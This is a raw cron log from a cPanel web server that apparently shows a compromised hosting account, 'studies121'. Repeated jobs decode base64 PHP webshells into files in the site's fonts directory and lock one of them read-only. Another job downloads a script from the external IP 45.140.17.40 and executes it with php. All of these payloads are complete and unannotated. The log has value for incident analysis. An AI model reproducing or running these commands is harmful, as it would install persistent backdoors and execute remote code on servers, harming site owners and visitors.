Sep 10 03:09:01 ip-184-168-122-23 CROND[22281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:09:01 ip-184-168-122-23 CROND[22283]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 03:10:01 ip-184-168-122-23 CROND[22370]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:10:01 ip-184-168-122-23 CROND[22371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:10:01 ip-184-168-122-23 CROND[22372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:10:01 ip-184-168-122-23 CROND[22374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:10:01 ip-184-168-122-23 CROND[22382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:10:01 ip-184-168-122-23 CROND[22380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:10:01 ip-184-168-122-23 CROND[22383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:10:01 ip-184-168-122-23 CROND[22385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:11:01 ip-184-168-122-23 CROND[22519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:11:01 ip-184-168-122-23 CROND[22520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:11:01 ip-184-168-122-23 CROND[22521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:11:01 ip-184-168-122-23 CROND[22523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:12:01 ip-184-168-122-23 CROND[22688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:12:01 ip-184-168-122-23 CROND[22689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:12:01 ip-184-168-122-23 CROND[22692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:12:01 ip-184-168-122-23 CROND[22690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:12:01 ip-184-168-122-23 CROND[22693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:13:01 ip-184-168-122-23 CROND[22808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:13:01 ip-184-168-122-23 CROND[22810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:13:01 ip-184-168-122-23 CROND[22811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:13:01 ip-184-168-122-23 CROND[22812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:14:01 ip-184-168-122-23 CROND[22893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:14:01 ip-184-168-122-23 CROND[22892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:14:01 ip-184-168-122-23 CROND[22891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:14:01 ip-184-168-122-23 CROND[22894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:14:01 ip-184-168-122-23 CROND[22890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:15:02 ip-184-168-122-23 CROND[22983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:15:02 ip-184-168-122-23 CROND[22984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:15:02 ip-184-168-122-23 CROND[22986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:15:02 ip-184-168-122-23 CROND[22987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:15:02 ip-184-168-122-23 CROND[22989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:15:02 ip-184-168-122-23 CROND[22988]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:16:01 ip-184-168-122-23 CROND[23082]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 03:16:02 ip-184-168-122-23 CROND[23085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:16:02 ip-184-168-122-23 CROND[23087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:16:02 ip-184-168-122-23 CROND[23086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:16:02 ip-184-168-122-23 CROND[23088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:16:02 ip-184-168-122-23 CROND[23090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:17:01 ip-184-168-122-23 CROND[23278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:17:01 ip-184-168-122-23 CROND[23280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:17:01 ip-184-168-122-23 CROND[23279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:17:01 ip-184-168-122-23 CROND[23281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:18:01 ip-184-168-122-23 CROND[23371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:18:01 ip-184-168-122-23 CROND[23372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:18:01 ip-184-168-122-23 CROND[23375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:18:01 ip-184-168-122-23 CROND[23376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:18:01 ip-184-168-122-23 CROND[23377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:19:01 ip-184-168-122-23 CROND[23484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:19:01 ip-184-168-122-23 CROND[23486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:19:01 ip-184-168-122-23 CROND[23488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:19:01 ip-184-168-122-23 CROND[23487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:20:01 ip-184-168-122-23 CROND[23595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:20:01 ip-184-168-122-23 CROND[23596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:20:01 ip-184-168-122-23 CROND[23597]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 03:20:01 ip-184-168-122-23 CROND[23601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:20:01 ip-184-168-122-23 CROND[23605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:20:01 ip-184-168-122-23 CROND[23606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:20:01 ip-184-168-122-23 CROND[23607]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:20:01 ip-184-168-122-23 CROND[23603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:20:01 ip-184-168-122-23 CROND[23604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:21:01 ip-184-168-122-23 CROND[23695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:21:01 ip-184-168-122-23 CROND[23697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
